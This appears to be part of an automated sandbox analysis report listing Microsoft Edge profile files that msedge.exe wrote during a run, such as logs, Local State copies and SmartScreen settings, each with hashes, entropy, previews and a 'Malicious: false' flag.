SHA-512:	AEF8C86EF20908131E2EAD4E5455B5B36429A78A83B3FF2ECFD5308C61361872DF411D52A58B43D717CF76171E29556D6120F2A257F27A0C257DC60EECF23849
Malicious:	false
Preview:	2024/11/20-08:43:28.145 1e14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/20-08:43:28.146 1e14 Recovering log #3.2024/11/20-08:43:28.150 1e14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.1576717586322784
Encrypted:	false
SSDEEP:	6:HE8eOq2PN723oH+TcwtfrzAdIFUt8YE80kZmw+YE8/PEkwON723oH+TcwtfrzILJ:k8rvVaYeb9FUt8/8D/+/8XE5OaYeb2J
MD5:	4866CAA2C65FCB1904649BB110B326C9
SHA1:	AE1B07724BB361E0F14A48FD2F60B0C54F2A3583
SHA-256:	01B74C9ADBDF1EE45CE50262D11320F7DF7B46FA83DEC4962F0D1F1EE422545D
SHA-512:	AEF8C86EF20908131E2EAD4E5455B5B36429A78A83B3FF2ECFD5308C61361872DF411D52A58B43D717CF76171E29556D6120F2A257F27A0C257DC60EECF23849
Malicious:	false
Preview:	2024/11/20-08:43:28.145 1e14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/20-08:43:28.146 1e14 Recovering log #3.2024/11/20-08:43:28.150 1e14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08976993351289
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMmkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynPRkzItSmd6qE7lFoC
MD5:	A0D892C42F7BD394EC220DCD3B7D32F2
SHA1:	2BED3FC465872BA334F263B30471725FE32D7166
SHA-256:	DDBCA79E4C5DA44A9C8FAEBD88BA847F86BA8E1FA413CED216223ECEBB6AD742
SHA-512:	2D692D12F53002028EAD792A180BE10803AF13FDB53AFEACDCB70AF10AA884AB14022A2CAE2C3C1C0D528F28BC8180AE364F732E0EA0D5B382400621FAEF1570
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a25b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08976993351289
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMmkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynPRkzItSmd6qE7lFoC
MD5:	A0D892C42F7BD394EC220DCD3B7D32F2
SHA1:	2BED3FC465872BA334F263B30471725FE32D7166
SHA-256:	DDBCA79E4C5DA44A9C8FAEBD88BA847F86BA8E1FA413CED216223ECEBB6AD742
SHA-512:	2D692D12F53002028EAD792A180BE10803AF13FDB53AFEACDCB70AF10AA884AB14022A2CAE2C3C1C0D528F28BC8180AE364F732E0EA0D5B382400621FAEF1570
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a26b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08976993351289
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMmkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynPRkzItSmd6qE7lFoC
MD5:	A0D892C42F7BD394EC220DCD3B7D32F2
SHA1:	2BED3FC465872BA334F263B30471725FE32D7166
SHA-256:	DDBCA79E4C5DA44A9C8FAEBD88BA847F86BA8E1FA413CED216223ECEBB6AD742
SHA-512:	2D692D12F53002028EAD792A180BE10803AF13FDB53AFEACDCB70AF10AA884AB14022A2CAE2C3C1C0D528F28BC8180AE364F732E0EA0D5B382400621FAEF1570
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a421.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08976993351289
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMmkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynPRkzItSmd6qE7lFoC
MD5:	A0D892C42F7BD394EC220DCD3B7D32F2
SHA1:	2BED3FC465872BA334F263B30471725FE32D7166
SHA-256:	DDBCA79E4C5DA44A9C8FAEBD88BA847F86BA8E1FA413CED216223ECEBB6AD742
SHA-512:	2D692D12F53002028EAD792A180BE10803AF13FDB53AFEACDCB70AF10AA884AB14022A2CAE2C3C1C0D528F28BC8180AE364F732E0EA0D5B382400621FAEF1570
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3cae2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08976993351289
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMmkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynPRkzItSmd6qE7lFoC
MD5:	A0D892C42F7BD394EC220DCD3B7D32F2
SHA1:	2BED3FC465872BA334F263B30471725FE32D7166
SHA-256:	DDBCA79E4C5DA44A9C8FAEBD88BA847F86BA8E1FA413CED216223ECEBB6AD742
SHA-512:	2D692D12F53002028EAD792A180BE10803AF13FDB53AFEACDCB70AF10AA884AB14022A2CAE2C3C1C0D528F28BC8180AE364F732E0EA0D5B382400621FAEF1570
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF40cae.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08976993351289
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMmkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynPRkzItSmd6qE7lFoC
MD5:	A0D892C42F7BD394EC220DCD3B7D32F2
SHA1:	2BED3FC465872BA334F263B30471725FE32D7166
SHA-256:	DDBCA79E4C5DA44A9C8FAEBD88BA847F86BA8E1FA413CED216223ECEBB6AD742
SHA-512:	2D692D12F53002028EAD792A180BE10803AF13FDB53AFEACDCB70AF10AA884AB14022A2CAE2C3C1C0D528F28BC8180AE364F732E0EA0D5B382400621FAEF1570
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b4f4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08976993351289
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMmkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynPRkzItSmd6qE7lFoC
MD5:	A0D892C42F7BD394EC220DCD3B7D32F2
SHA1:	2BED3FC465872BA334F263B30471725FE32D7166
SHA-256:	DDBCA79E4C5DA44A9C8FAEBD88BA847F86BA8E1FA413CED216223ECEBB6AD742
SHA-512:	2D692D12F53002028EAD792A180BE10803AF13FDB53AFEACDCB70AF10AA884AB14022A2CAE2C3C1C0D528F28BC8180AE364F732E0EA0D5B382400621FAEF1570
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF511ba.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08976993351289
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMmkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynPRkzItSmd6qE7lFoC
MD5:	A0D892C42F7BD394EC220DCD3B7D32F2
SHA1:	2BED3FC465872BA334F263B30471725FE32D7166
SHA-256:	DDBCA79E4C5DA44A9C8FAEBD88BA847F86BA8E1FA413CED216223ECEBB6AD742
SHA-512:	2D692D12F53002028EAD792A180BE10803AF13FDB53AFEACDCB70AF10AA884AB14022A2CAE2C3C1C0D528F28BC8180AE364F732E0EA0D5B382400621FAEF1570
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": 